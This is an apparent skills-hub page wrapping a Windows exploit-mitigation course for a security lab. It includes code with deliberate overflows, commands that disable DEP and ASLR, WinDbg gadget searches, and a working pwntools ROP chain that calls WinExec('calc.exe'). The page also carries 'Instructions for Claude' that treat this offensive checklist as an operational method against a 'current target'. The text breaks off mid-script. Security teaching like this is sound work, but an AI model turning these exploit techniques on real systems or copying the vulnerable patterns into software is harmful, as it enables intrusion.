[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EE61DERNB31ZKX9F377QWT":3,"skill-same:01M6EE61DERNB31ZKX9F377QWT":48},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":21,"linkOnly":22,"markdownContent":23,"markdownBody":23,"frontMatter":24,"refName":25,"commitSha":26,"skillDirectory":27,"forksCount":28,"repositoryHtmlUrl":29,"repositoryHomepageUrl":30,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M6EE61DERNB31ZKX9F377QWT","offensive-windows-mitigations",null,"ComeOnOliver\u002Fskillshub","ComeOnOliver","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F43215937?v=4","01M6E5JNFECJAAVFE0W7SMWWD2","Haoran Shu","01M6E5JNNDQS7AJZDYFQ8TPZCK",67,"MIT","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002FSnailSploit\u002FClaude-Red\u002Foffensive-windows-mitigations\u002FSKILL.md",[],[18,19,20],"windows","offensive","offensive windows mitigations","2026-11-10 10:12:30",false,"# SKILL: Week 6: Understanding Windows Mitigations\n\n## Metadata\n- **Skill Name**: windows-mitigations\n- **Folder**: offensive-windows-mitigations\n- **Source**: https:\u002F\u002Fgithub.com\u002FSnailSploit\u002Foffensive-checklist\u002Fblob\u002Fmain\u002F6-windows-mitigations.md\n\n## Description\nDeep-dive on Windows exploit mitigations: ASLR, DEP\u002FNX, CFG, CET\u002FShadow Stack, SEHOP, Heap Guard, ACG, Arbitrary Code Guard. Covers both the protection mechanism and known bypass techniques. Use when researching Windows exploit mitigations, planning bypass strategies, or understanding protection depth.\n\n## Trigger Phrases\nUse this skill when the conversation involves any of:\n`Windows mitigations, ASLR, DEP, NX, CFG, CET, shadow stack, SEHOP, heap guard, ACG, mitigation bypass, exploit mitigation, Windows hardening`\n\n## Instructions for Claude\n\nWhen this skill is active:\n1. Load and apply the full methodology below as your operational checklist\n2. Follow steps in order unless the user specifies otherwise\n3. For each technique, consider applicability to the current target\u002Fcontext\n4. Track which checklist items have been completed\n5. Suggest next steps based on findings\n\n---\n\n## Full Methodology\n\n# Week 6: Understanding Windows Mitigations\n\n## Overview\n\n_created by AnotherOne from @Pwn3rzs Telegram channel_.\n\nLast week you learned basic exploitation in an environment without protections.\nThis week, you'll learn about the defensive mechanisms that modern Windows systems employ to prevent those attacks.\nUnderstanding these mitigations is essential before learning to bypass them (Week 8). Week 7 continues with enterprise security topics (offensive reconnaissance, Windows 11 24H2\u002F25H2 mitigations, cross-platform defenses).\n\n**This Week's Focus**:\n\n- Understand how each mitigation works\n- Learn to detect active mitigations\n- Verify mitigation effectiveness\n- Test exploits against protected binaries\n- Prepare for Week 7's boundaries and Week 8's bypass techniques\n\n### Prerequisites\n\nBefore starting this week, ensure you have:\n\n- Completed Week 5: Basic Exploitation (Linux) - you should be able to exploit stack overflows, build ROP chains, and use pwntools\n- A Windows 11 VM (isolated, snapshot before each exercise)\n- Visual Studio 2022 Build Tools installed\n- WinDbg Preview installed\n- Basic familiarity with x64 assembly and calling conventions\n\n### Week 6 Deliverables\n\nBy the end of this week, you should have completed the following:\n\n- [ ] **Lab Environment**: Windows 11 VM with Visual Studio Build Tools, WinDbg Preview, and Sysinternals installed\n- [ ] **Test Binaries**: Compiled `vulnerable_suite_win_mitigated.c` and `vuln_server_win.c` with various mitigation flags\n- [ ] **DEP Verified**: Demonstrated DEP blocking shellcode execution with crash analysis (Exception Code 0xC0000005, Param 8)\n- [ ] **ASLR Measured**: Recorded addresses of `check_aslr.exe` across 3 reboots and documented randomization behavior\n- [ ] **Stack Cookie Tested**: Triggered `\u002FGS` cookie check failure and analyzed in WinDbg\n- [ ] **CFG Validated**: Demonstrated CFG blocking indirect call to invalid target\n- [ ] **Crash Dumps Analyzed**: Created at least 3 crash dumps and identified which mitigation caused each termination using `!analyze -v`\n- [ ] **Week 5 Exploit Retesting**: Re-ran Week 5 exploits against mitigated binaries and documented failures\n- [ ] **Mitigation Audit Report**: Generated system-wide and per-binary mitigation audit using PowerShell scripts\n- [ ] **Hardening Capstone**: Completed the SecureServer v1.0 hardening exercise (Day 7)\n\n### Context\n\nWhy Mitigations Matter: Modern exploits chain multiple vulnerabilities and bypass layers of protection. Understanding mitigations helps you:\n\n- Recognize when an exploit is blocked vs. when it succeeds\n- Analyze crash dumps to identify exploitation attempts\n- Design defense-in-depth strategies\n- Prepare for Weeks 7-8 (advanced mitigations and bypass techniques)\n\n**Recent CVEs Demonstrating Mitigation Importance**:\n\n| CVE            | Vulnerability                   | Mitigations Involved | Outcome                               |\n| -------------- | ------------------------------- | -------------------- | ------------------------------------- |\n| CVE-2024-21338 | AppLocker (appid.sys) EoP       | KASLR, SMEP, kCFG    | Admin-to-Kernel bypass of kCFG        |\n| CVE-2024-30088 | Authz Kernel TOCTOU             | KASLR, SMEP, CFG     | Exploited via race condition          |\n| CVE-2023-36802 | MSKSSRV Object Type Confusion   | KASLR, SMEP, CFG     | Pool spray + type confusion to EoP    |\n| CVE-2025-29824 | CLFS Driver Use-After-Free      | KASLR, SMEP          | Zero-day exploited in wild (Apr 2025) |\n| CVE-2024-49138 | CLFS Heap-Based Buffer Overflow | DEP, ASLR, KASLR     | EoP exploited in wild (Dec 2024)      |\n| CVE-2023-32019 | Windows Kernel Info Disclosure  | KASLR                | Leaked kernel memory bypassing KASLR  |\n| CVE-2023-28252 | CLFS Driver EoP                 | KASLR, SMEP          | Abused CLFS log file parsing          |\n| CVE-2022-34718 | Windows TCP\u002FIP RCE (EvilESP)    | DEP, ASLR, CFG       | Required sophisticated heap grooming  |\n\n**Connection to Week 4 (Crash Analysis)**:\n\nWhen you receive a crash dump, the exception codes reveal which mitigation stopped the exploit:\n\n```text\nWeek 4 Crash Analysis -> Week 6 Mitigation Identification\n─────────────────────────────────────────────────────────\nProcess Exit Code         WinDbg Exception Code        Mitigation\n──────────────────────    ─────────────────────        ──────────\n0xC0000005 (Param[0]=8)   0xC0000005                   DEP violation (execute on NX page)\n0xC0000409                0xC0000409 (subcode 2)        \u002FGS stack cookie corruption\n0x80000003                0xC0000409 (subcode 10)       CFG indirect call validation failed\n0x80000003                0xC0000407                    CET shadow stack mismatch\n0xC0000374                0xC0000374                    Heap integrity check failed\n\nIMPORTANT: Python\u002Fcmd see the PROCESS EXIT CODE. WinDbg sees the EXCEPTION CODE.\nCFG and CET both use __fastfail() which raises int 0x29 -> exit code 0x80000003,\nbut the EXCEPTION RECORD inside WinDbg shows the original status code.\n```\n\n### Windows Mitigations Relevance\n\nUnderstanding these bug classes prepares you for real-world vulnerability research:\n\n| Bug Class        | Example CVE                | Mitigation Interaction                            | Week 8 Bypass        |\n| ---------------- | -------------------------- | ------------------------------------------------- | -------------------- |\n| Race Condition   | CVE-2024-30088 (Authz)     | TOCTOU bypasses simple checks                     | Timing manipulation  |\n| Type Confusion   | CVE-2023-36802 (MSKSSRV)   | CFG validates calls, but confused object bypasses | Object spray         |\n| Pointer Deref    | CVE-2024-21338 (appid.sys) | kCFG bypass via direct manipulation               | Arbitrary read\u002Fwrite |\n| Integer Overflow | CVE-2021-34535 (RDP)       | Safe integer functions                            | Find unchecked paths |\n| Arbitrary Write  | CVE-2023-28252 (CLFS)      | KASLR, SMEP                                       | Info leak chain      |\n\n## Day 1: DEP and ASLR Fundamentals\n\n- **Goal**: Understand the two foundational exploit mitigations: DEP and ASLR.\n- **Activities**:\n  - _Reading_:\n    - [Microsoft DEP Documentation](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fmemory\u002Fdata-execution-prevention)\n    - [Bypassing ASLR\u002FDEP ](https:\u002F\u002Fwww.exploit-db.com\u002Fdocs\u002Fenglish\u002F17914-bypassing-aslrdep.pdf)\n    - [ASLR Implementation Details](https:\u002F\u002Fblackhat.com\u002Fpresentations\u002Fbh-dc-07\u002FWhitehouse\u002FPaper\u002Fbh-dc-07-Whitehouse-WP.pdf)\n  - _Online Resources_:\n    - [OffensiveCon23 - Changing and Unchanged Things in Vulnerability Research](https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=hz9HiM2eKFY)\n    - [Bypass Control Flow Guard Comprehensively](https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=K929gLPwlUs)\n    - [BlueHat 2018 - Windows: Hardening with Hardware](https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=8V0wcqS22vc)\n    - [OffensiveCon18 - The Evolution of CFI Attacks and Defenses](https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=oOqpl-2rMTw)\n    - [Battle Of The SKM And IUM: How Windows 10 Rewrites OS Architecture](https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=LqaWIn4y26E)\n  - _Tool Setup_:\n    - Windows 11 VM (24H2 recommended)\n    - Process Explorer \u002F Process Monitor\n    - dumpbin (Visual Studio tool)\n    - WinDbg Preview with Time Travel Debugging\n  - _Exercise_:\n    - Verify DEP blocks shellcode execution\n    - Observe ASLR randomization across reboots\n    - Compile programs with\u002Fwithout protections\n    - Analyze a real CVE crash dump to identify mitigation involvement\n\n### Deliverables\n\n- **Lab Report**: Documented observations of DEP crashes (Exception Code 0xC0000005, Param 8)\n- **ASLR Log**: Recorded addresses of `check_aslr.exe` across 3 reboots\n- **Crash Analysis**: Completed mitigation identification table for the 4 test dumps\n- **Analysis Report**: Completed analysis table for all 4 crash dumps\n- **Screenshots**: WinDbg output showing the \"Smoking Gun\" for each crash\n- **Write-up**: 1-paragraph explanation of how you identified each mitigation\n\n### Lab Directory Structure\n\n```bash\nC:\\Windows_Mitigations_Lab\\\n- src\\                          # Source code for test binaries\n- bin\\                          # Compiled binaries\n- dumps\\                        # Crash dumps from WER\u002FProcDump\n- exploits\\                     # Week 5 exploits for testing\n- reports\\                      # Mitigation audit reports\n```\n\n### Transitioning from Linux to Windows Debugging\n\nIf you are coming from Week 5 (Linux), use this table to map your `pwndbg` commands to WinDbg:\n\n| Description        | Pwndbg Equivalent        | WinDbg Command |\n| ------------------ | ------------------------ | -------------- |\n| **Crash analysis** | `bt`, `regs`, `context`  | `!analyze -v`  |\n| **Memory display** | `x\u002Fb`, `x\u002Fw`, `x\u002Fg`      | `db\u002Fdd\u002Fdq`     |\n| **Smart pointers** | `telescope`              | `dps`          |\n| **Disassembly**    | `x\u002Fi` or `disassemble`   | `u`            |\n| **Set breakpoint** | `break` or `b`           | `bp`           |\n| **Hardware watch** | `watch` or `rwatch`      | `ba w`         |\n| **Continue**       | `continue` or `c`        | `g`            |\n| **Step over\u002Finto** | `next` \u002F `step`          | `p` \u002F `t`      |\n| **Search memory**  | `search \"string\"`        | `s -a`         |\n| **List modules**   | `vmmap` or `info shared` | `lm`           |\n| **Heap analysis**  | `heap`, `bins`, `arena`  | `!heap`        |\n\n> [!TIP]\n> **Week 4 Callback**: For more advanced WinDbg usage, refer back to **Week 4: Crash Analysis** where we covered TTD (Time Travel Debugging) and symbol configuration in detail.\n\n### Standardized Vulnerable Targets\n\nTo maintain continuity with previous weeks, we will use a Windows port of the vulnerable suite and the capstone server. Save these into `C:\\Windows_Mitigations_Lab\\src`.\n\n**1. The Mitigation Test Suite (`vulnerable_suite_win_mitigated.c`)**\n\nThis replaces generic tests (`dep_test.c`, etc.) with a unified suite mirroring Week 4's lab.\n\n> [!IMPORTANT]\n> **Modern MSVC removed `gets()`** - it was removed in C11 as too dangerous.\n> We use `fgets()` with a size mismatch instead, which MSVC recognizes as needing `\u002FGS` protection.\n\n```c\n\u002F*\n * vulnerable_suite_win_mitigated.c\n * Windows Port of Week 4 Vulnerable Suite\n * Compile with varying flags to test mitigations.\n *\n * NOTE: gets() was removed in modern MSVC. We use fgets() with\n * intentional size mismatch to create the same vulnerability\n * while triggering MSVC's \u002FGS heuristics.\n *\u002F\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n\n#pragma comment(lib, \"user32.lib\")\n\nvoid stack_overflow() {\n    char buffer[64];\n\n    printf(\"[*] Stack Overflow Target: Buffer at %p\\n\", buffer);\n    printf(\"[*] Enter payload: \");\n    fflush(stdout);\n\n    \u002F\u002F Vulnerable: fgets reads up to 256 bytes into 64-byte buffer!\n    \u002F\u002F This pattern triggers MSVC's \u002FGS protection when compiled with \u002FGS\n    fgets(buffer, 256, stdin);\n    buffer[strcspn(buffer, \"\\n\")] = 0;  \u002F\u002F Remove newline\n\n    printf(\"[*] Received: %s\\n\", buffer);\n}\n\nvoid heap_overflow() {\n    HANDLE hHeap = GetProcessHeap();\n    char *chunk1 = (char*)HeapAlloc(hHeap, 0, 64);\n    char *chunk2 = (char*)HeapAlloc(hHeap, 0, 64);\n\n    printf(\"[*] Heap Chunks: %p, %p\\n\", chunk1, chunk2);\n    printf(\"[*] Simulating linear overflow from Chunk1...\\n\");\n\n    \u002F\u002F Vulnerable: overflow into chunk2 metadata\n    memset(chunk1, 'A', 128);\n\n    printf(\"[*] Freeing corrupted Chunk2 (Should crash if Heap Integrity on)...\\n\");\n    HeapFree(hHeap, 0, chunk2);\n    HeapFree(hHeap, 0, chunk1);\n}\n\nvoid dep_trigger() {\n    printf(\"[*] DEP Trigger: Executing data section...\\n\");\n    \u002F\u002F Int3 (0xCC) ; Ret (0xC3)\n    unsigned char shellcode[] = { 0xCC, 0xC3 };\n    void (*func)() = (void(*)())shellcode;\n    func();\n}\n\nvoid funcptr_test() {\n    void (*callback)() = dep_trigger;\n\n    printf(\"[*] Function Pointer Test\\n\");\n    printf(\"[*] Function pointer at: %p\\n\", &callback);\n    printf(\"[*] Currently points to: %p\\n\", callback);\n    printf(\"[*] Enter new function address (hex): \");\n    fflush(stdout);\n\n    unsigned long long addr;\n    scanf(\"%llx\", &addr);\n    callback = (void(*)())addr;\n\n    printf(\"[*] Calling function at %p...\\n\", callback);\n    callback();  \u002F\u002F CFG would block this if target is invalid\n}\n\nint main(int argc, char* argv[]) {\n    if (argc \u003C 2) {\n        printf(\"Usage: %s \u003Cmode>\\n\", argv[0]);\n        printf(\"Modes: stack, heap, dep, funcptr\\n\");\n        return 1;\n    }\n\n    if (strcmp(argv[1], \"stack\") == 0) stack_overflow();\n    else if (strcmp(argv[1], \"heap\") == 0) heap_overflow();\n    else if (strcmp(argv[1], \"dep\") == 0) dep_trigger();\n    else if (strcmp(argv[1], \"funcptr\") == 0) funcptr_test();\n\n    return 0;\n}\n```\n\n**2. The Capstone Server (`vuln_server_win.c`)**\n\nA Winsock port of the Week 5 Capstone. Used to test network exploits against hardened Windows.\n\n```c\n\u002F*\n * vuln_server_win.c - Winsock Port\n * Compile: cl vuln_server_win.c \u002Flink ws2_32.lib\n *\u002F\n#include \u003Cwinsock2.h>\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n\n#pragma comment(lib, \"ws2_32.lib\")\n\nvoid handle_client(SOCKET client_socket) {\n    char buffer[512];\n    char response[] = \"Welcome to SecureServer v1.0 (Windows)\\n\";\n    send(client_socket, response, strlen(response), 0);\n\n    \u002F\u002F VULNERABILITY: Stack Buffer Overflow\n    \u002F\u002F recv accepts up to 1024 bytes into a 512 byte buffer\n    int bytes_received = recv(client_socket, buffer, 1024, 0);\n\n    if (bytes_received > 0) {\n        printf(\"[*] Received %d bytes\\n\", bytes_received);\n        buffer[bytes_received] = '\\0';\n        \u002F\u002F Echo back (Format String vuln potential if printf(buffer) used)\n        send(client_socket, buffer, bytes_received, 0);\n    }\n    closesocket(client_socket);\n}\n\nint main() {\n    WSADATA wsa;\n    SOCKET server_fd, client_fd;\n    struct sockaddr_in server, client;\n    int c;\n\n    WSAStartup(MAKEWORD(2,2), &wsa);\n    server_fd = socket(AF_INET, SOCK_STREAM, 0);\n\n    server.sin_family = AF_INET;\n    server.sin_addr.s_addr = INADDR_ANY;\n    server.sin_port = htons(8888);\n\n    bind(server_fd, (struct sockaddr *)&server, sizeof(server));\n    listen(server_fd, 3);\n\n    printf(\"[*] Windows Vulnerable Server listening on port 8888...\\n\");\n\n    c = sizeof(struct sockaddr_in);\n    while((client_fd = accept(server_fd, (struct sockaddr *)&client, &c)) != INVALID_SOCKET) {\n        printf(\"[*] Connection accepted\\n\");\n        handle_client(client_fd);\n    }\n\n    closesocket(server_fd);\n    WSACleanup();\n    return 0;\n}\n```\n\n**Per-Binary Mitigation Control**:\n\n```bash\n# RECOMMENDED: Control mitigations via compiler\u002Flinker flags per binary\n# This is safer, doesn't require reboots, and mirrors enterprise practice\n\n# Build WITHOUT mitigations (for Week 5-style testing):\ncl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\dep_test.exe \u002Flink \u002FNXCOMPAT:NO \u002FDYNAMICBASE:NO \u002FFIXED\n\n# Build WITH mitigations (for Week 6 testing):\ncl \u002FGS \u002Fguard:cf \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\mitigated_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA \u002Fguard:cf\n\n# Per-process mitigation control (Run in ADMIN POWERSHELL):\nSet-ProcessMitigation -Name \"bin\\dep_test.exe\" -Disable DEP,ForceRelocateImages,BottomUp\nSet-ProcessMitigation -Name \"bin\\dep_test.exe\" -Enable DEP,ForceRelocateImages,BottomUp\n\n# NOTE: On x64 Windows, DEP is often MANDATORY for 64-bit processes\n# regardless of linker flags. Use Set-ProcessMitigation to override.\n```\n\n**Compiler\u002FLinker Flag Reference** (x64):\n\n| Mitigation    | Enable Flag              | Disable Flag             |\n| ------------- | ------------------------ | ------------------------ |\n| DEP           | `\u002FNXCOMPAT` (default)    | `\u002FNXCOMPAT:NO`           |\n| ASLR          | `\u002FDYNAMICBASE` (default) | `\u002FDYNAMICBASE:NO \u002FFIXED` |\n| High Entropy  | `\u002FHIGHENTROPYVA`         | (omit flag)              |\n| Stack Cookies | `\u002FGS` (default)          | `\u002FGS-`                   |\n| CFG           | `\u002Fguard:cf`              | (omit flag)              |\n| CET Compat    | `\u002FCETCOMPAT`             | (omit flag)              |\n\n### Graduated Mitigation Introduction\n\n#### Step 1: DEP Only\n\n**Setup** (Using Standardized Suite):\n\n```bash\n# PREFERRED: Use per-binary linker flags instead of system-wide changes\n\n# Compile WITH DEP, WITHOUT ASLR (to isolate DEP testing)\ncl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\dep_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED\n\n# Verify the binary has DEP enabled:\ndumpbin \u002Fheaders bin\\dep_test.exe | findstr \"NX compatible\"\n# Should show: \"NX compatible\"\n```\n\n#### Step 2: DEP + ASLR\n\n**Setup**:\n\n```bash\n# Compile with BOTH DEP and ASLR enabled via linker flags\ncl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\aslr_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA\n\n# Verify:\ndumpbin \u002Fheaders bin\\aslr_test.exe | findstr \"NX Dynamic High\"\n# Should show: NX compatible, Dynamic base, High Entropy Virtual Addresses\n```\n\n> [!CAUTION]\n> **System DLL ASLR**\n> Even if you compile your binary with `\u002FDYNAMICBASE:NO \u002FFIXED`, Windows 10\u002F11 will still randomize the location of **system DLLs** like `kernel32.dll` and `kernelbase.dll` on each boot.\n>\n> To demonstrate the ASLR bypass working on `dep_test.exe`, you must:\n>\n> 1. Find the **current** addresses using WinDbg (see instructions below)\n> 2. Update the address variables in your script\n> 3. The exploit will work on `dep_test.exe` (binary has no ASLR)\n> 4. The exploit will **fail** on `aslr_test.exe` (binary base is randomized)\n> 5. After a **reboot**, even `dep_test.exe` addresses become invalid - demonstrating why ASLR matters\n\n**Finding Gadget Addresses with WinDbg**:\n\n```bash\n# Launch WinDbg with the target\nwindbg C:\\Windows_Mitigations_Lab\\bin\\dep_test.exe stack\n\n# In WinDbg, run these commands:\n0:000> g                                              # Run to the input prompt\n0:000> lm                                             # List loaded modules\n0:000> x KERNEL32!WinExec                             # Find WinExec address\n0:000> s -b KERNELBASE \u003Cstart> L\u003Csize> 59 c3          # Find 'pop rcx; ret' (59 c3)\n0:000> u \u003Caddress> L2                                 # Verify the gadget\n\n# Example session:\n# 0:000> x KERNEL32!WinExec\n# 00007ffd`616907f0 KERNEL32!WinExec\n# 0:000> s -b KERNELBASE 00007ffd`5f8d0000 L3ef000 59 c3\n# 00007ffd`5f912303  59 c3 ...\n# 0:000> u 00007ffd`5f912303 L2\n# 00007ffd`5f912303 59       pop rcx\n# 00007ffd`5f912304 c3       ret      \u003C- Clean gadget!\n```\n\n**Test Your Week 5 ROP Exploit** (x64):\n\nThis script demonstrates a ROP chain that bypasses DEP using `WinExec`. Run it against both binaries to see ASLR's effect:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# c:\\Windows_Mitigations_Lab\\exploits\\week5_aslr_test.py\n\"\"\"\nTest: Week 5 ROP\u002Fret2lib exploit - Demonstrating ASLR's Effect\n\nUsage:\n  1. First, get current addresses from WinDbg attached to dep_test.exe:\n     - x KERNEL32!WinExec\n     - s -b KERNELBASE \u003Cstart> L\u003Csize> 59 c3  (find 'pop rcx; ret')\n  2. Update the addresses below\n  3. Run against dep_test.exe  -> Should SUCCEED (calc pops)\n  4. Run against aslr_test.exe -> Should FAIL (addresses randomized)\n  5. Reboot and try dep_test.exe again -> Should FAIL (DLL addresses changed)\n\"\"\"\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\n# Choose target binary (default: dep_test.exe for success demo)\ntarget = sys.argv[1] if len(sys.argv) > 1 else 'dep_test.exe'\ntarget_path = rf'C:\\Windows_Mitigations_Lab\\bin\\{target}'\n\nlog.info(f\"Target: {target}\")\nio = process([target_path, 'stack'])\n\n# --- VERIFIED ADDRESSES FROM WINDBG SESSION ---\n# UPDATE THESE for your system! Find them with:\n#   WinDbg> x KERNEL32!WinExec\n#   WinDbg> s -b KERNELBASE \u003Cstart> L\u003Csize> 59 c3\n#   ropper --file bin\\dep_test.exe --search \"ret\"\nwinexec_addr   = 0x00007ffd616907f0  # KERNEL32!WinExec\npop_rcx_ret    = 0x00007ffd5f912303  # KERNELBASE: pop rcx; ret\nret_gadget     = 0x0000000140001078  # dep_test.exe: clean 'ret' gadget\n\n# NOTE: ret_gadget is from the BINARY, not system DLLs!\n# For dep_test.exe (no ASLR): binary always loads at 0x140000000\n# For aslr_test.exe (ASLR): binary base is randomized - this gadget WON'T WORK\n\nlog.info(f\"WinExec:     {hex(winexec_addr)}\")\nlog.info(f\"pop rcx;ret: {hex(pop_rcx_ret)}\")\n\n# --- LEAK STACK ADDRESS ---\nio.recvuntil(b\"Buffer at \")\nstack_leak = int(io.recvline().strip(), 16)\nlog.info(f\"Stack leak:  {hex(stack_leak)}\")\n\nio.recvuntil(b\"Enter payload: \")\n\n# --- BUILD PAYLOAD ---\noffset_to_ret = 72\ncmd_string_offset = 200  # Place \"calc.exe\" at a safe offset\ncmd_string_addr = stack_leak + cmd_string_offset\n\npayload = b\"A\" * offset_to_ret\n\n# ROP Chain:\n# 1. Align stack (needed for some functions)\npayload += p64(ret_gadget)\n# 2. pop rcx; ret -> RCX = &\"calc.exe\"\npayload += p64(pop_rcx_ret)\npayload += p64(cmd_string_addr)\n# 3. Call WinExec(\"calc.exe\", \u003Cwhatever is in RDX>)\npayload += p64(winexec_addr)\n\n# Pad to cmd_string_offset and add the command\npayload = payload.ljust(cmd_string_offset, b\"X\")\npayload += b\"calc.exe\\x00\"\n\nlog.info(f\"Payload size: {len(payload)}\")\nlog.info(f\"cmd @ stack+{cmd_string_offset} = {hex(cmd_string_addr)}\")\n\nio.sendline(payload)\n\n# --- CHECK RESULT ---\nimport time\ntime.sleep(2)\n\n# Wait for process and check result\ntry:\n    io.wait(timeout=3)\nexcept:\n    pass\n\nif io.returncode is None:\n    # Process still running - ROP chain might have worked!\n    log.success(\"Process still alive after ROP chain\")\n    log.info(\"CHECK MANUALLY: Did calc.exe pop up?\")\n    log.info(f\"  - If YES: Exploit succeeded against {target}\")\n    log.info(f\"  - If NO:  ROP chain failed silently (bad addresses?)\")\n    io.close()\nelse:\n    exit_code = io.returncode & 0xFFFFFFFF\n    if exit_code == 0xc0000005:  # ACCESS_VIOLATION\n        log.failure(f\"Access Violation - exploit FAILED against {target}\")\n        if 'aslr' in target.lower():\n            log.info(\"EXPECTED: ASLR randomized the binary base, ret_gadget is invalid!\")\n            log.info(\"The ROP chain used a gadget from the binary at a fixed address.\")\n        else:\n            log.warning(\"Addresses may be stale. Re-run WinDbg and update them.\")\n    elif exit_code == 0xc0000409:  # STACK_BUFFER_OVERRUN\n        log.failure(f\"\u002FGS cookie triggered - exploit FAILED against {target}\")\n    elif exit_code == 0:\n        log.info(\"Process exited normally (code 0)\")\n        log.info(\"CHECK MANUALLY: Did calc.exe pop up?\")\n    else:\n        log.info(f\"Exit code: {hex(exit_code)}\")\n```\n\n**Expected Results**:\n\n```bash\n# Against dep_test.exe (no ASLR) - calc.exe pops!\npython exploits\\week5_aslr_test.py dep_test.exe\n#[*] Target: dep_test.exe\n#[*] WinExec:     0x7ffd616907f0\n#[*] pop rcx;ret: 0x7ffd5f912303\n#[*] Stack leak:  0x14fea0          \u003C- Low, predictable address (no ASLR)\n#[+] Process still alive after ROP chain\n#[*] CHECK MANUALLY: Did calc.exe pop up?\n#    -> YES! calc.exe appeared - exploit succeeded!\n\n# Against aslr_test.exe (ASLR enabled) - exploit fails!\npython exploits\\week5_aslr_test.py aslr_test.exe\n#[*] Target: aslr_test.exe\n#[*] Stack leak:  0xaf185efab0      \u003C- High entropy, randomized!\n#[*] Process exited with code: 0xc0000005\n#[-] Access Violation - exploit FAILED against aslr_test.exe\n#[*] EXPECTED: ASLR randomized the binary base, ret_gadget is invalid!\n```\n\n| Target          | Stack Address      | ret_gadget Valid? | Calc Pops? | Why                                               |\n| --------------- | ------------------ | ----------------- | ---------- | ------------------------------------------------- |\n| `dep_test.exe`  | `0x14fea0` (fixed) | Yes               | Yes        | Binary at `0x140000000`, gadget at known address  |\n| `aslr_test.exe` | Random each run    | No                | No         | Binary base randomized, `0x140001078` is unmapped |\n\n> [!IMPORTANT]\n> **Why ASLR Breaks the Exploit**\n> The ROP chain uses `ret_gadget = 0x140001078` which is an address **inside the binary**.\n>\n> - `dep_test.exe`: Always loads at `0x140000000` (ASLR disabled), gadget is valid\n> - `aslr_test.exe`: Loads at random base each run, `0x140001078` points to garbage -> crash\n\n#### Step 3: DEP + ASLR + Stack Cookies\n\n**Setup**:\n\n```bash\n# Compile WITH \u002FGS (stack cookies) - this is the VS default\n# The \u002FD_CRT_SECURE_NO_WARNINGS suppresses scanf deprecation warnings\ncl \u002FGS \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\gs_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA\n\n# Check protections - \u002FGS doesn't show in headers, but DEP+ASLR will:\ndumpbin \u002Fheaders bin\\gs_test.exe | findstr \"NX Dynamic High\"\n# Expected: NX compatible, Dynamic base, High Entropy Virtual Addresses\n\n# Also compile WITHOUT \u002FGS for comparison:\ncl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\no_gs_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA\n```\n\n> [!NOTE]\n> **Stack Cookies (\u002FGS) Don't Appear in PE Headers**\n> Unlike DEP and ASLR, stack cookie protection is purely a compiler feature.\n> The cookie check code is embedded directly in function prologues\u002Fepilogues.\n> You can verify \u002FGS is active by disassembling a function with a local buffer:\n>\n> ```\n> dumpbin \u002Fdisasm bin\\gs_test.exe | findstr \"__security_cookie\"\n> ```\n\n**Forcing \u002FGS Protection**:\n\nMSVC uses heuristics to decide which functions need stack cookies. Functions with `strcpy`, `fgets` with size mismatch, or similar patterns are protected. Simple `getchar()` loops may be skipped!\n\n```bash\n# The vulnerable function MUST use patterns MSVC recognizes as dangerous:\n# - strcpy() to a local buffer\n# - fgets() with size > buffer size\n# - sprintf() without bounds\n\n# Our vulnerable_suite uses: fgets(buffer, 256, stdin) into char buffer[64]\n# This triggers \u002FGS because 256 > 64\n\n# Verify cookie is present by checking for the cookie load pattern:\ndumpbin \u002Fdisasm bin\\gs_test.exe > disasm.txt\npowershell -Command \"Get-Content disasm.txt | Select-Object -First 50\"\n# Look for: mov rax,qword ptr [ADDR] ; xor rax,rsp ; mov [rsp+XX],rax\n```\n\n**Test Your Week 5 Stack Overflow**:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# c:\\Windows_Mitigations_Lab\\exploits\\week5_gs_test.py\n\"\"\"\nTest: Week 5 stack overflow against DEP+ASLR+GS system\nExpected: FAIL - stack cookie corrupted, process terminates before return\n\nUsage:\n  python exploits\\week5_gs_test.py gs_test.exe     # With \u002FGS - should fail with cookie check\n  python exploits\\week5_gs_test.py no_gs_test.exe  # Without \u002FGS - crashes at 